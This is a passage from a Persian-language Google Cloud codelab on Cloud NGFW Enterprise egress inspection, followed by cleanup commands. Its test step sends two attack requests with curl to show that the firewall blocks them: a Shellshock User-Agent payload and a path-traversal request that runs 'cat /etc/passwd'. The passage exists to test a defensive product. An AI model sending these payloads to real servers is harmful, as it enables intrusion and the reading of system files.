gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
به VM مشتری برگردید و حملات با شدت بالا را مجدداً به IP سرور خارجی ارسال کنید:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
خروجی مورد انتظار:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
برای تأیید گزارشها، به تب Threats در Cloud Console بروید (ممکن است لازم باشد چند بار بازخوانی کنید). حملات باید دوباره شناسایی و ثبت می شدند، اما اکنون IP منبع داخلی است زیرا ابتدا یک قانون خروج فعال می شود:
جلسه SSH را ببندید و برای مراحل پاکسازی به بخش بعدی بروید.
8. مراحل پاکسازی
Cloud NGFW Enterprise Components Clean-Up
انجمن های موجود در Cloud NGFW Enterprise را فهرست کنید:
gcloud network-security firewall-endpoint-associations list
انجمن Cloud NGFW Enterprise را حذف کنید:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
نقاط پایانی Cloud NGFW Enterprise موجود را فهرست کنید:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
نقطه پایانی Cloud NGFW Enterprise را حذف کنید، که ممکن است حدود 20 دقیقه طول بکشد:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
با اجرای دستور زیر تأیید کنید که Cloud NGFW Enterprise حذف شده است:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
گروه نمایه امنیتی و نمایه پیشگیری از تهدید را حذف کنید:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
پاکسازی راه اندازی پایه
اگر ترجیح می دهید منابع پایه را حذف کنید، به مرحله بعدی بروید.
در صورت نیاز متغیرهای محیط را تعریف کنید. از Cloud Shell، اجزای Network Load Balancer را حذف کنید:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
حذف نمونه ها:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
در صورت تغییر نقش tagAdmin و tagUsers، به صورت اختیاری، مراحل زیر را انجام دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
حذف کلید و مقادیر برچسب:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
خطمشی و ارتباط شبکه فایروال ابری را حذف کنید:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router و Cloud NAT را حذف کنید:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
آدرس های IP رزرو شده را حذف کنید:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
در نهایت زیر شبکه و شبکه VPC را حذف کنید:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. تبریک می گویم!
تبریک میگوییم، شما Cloud NGFW Enterprise for East-West and North-South Inspection را با موفقیت تکمیل کردید.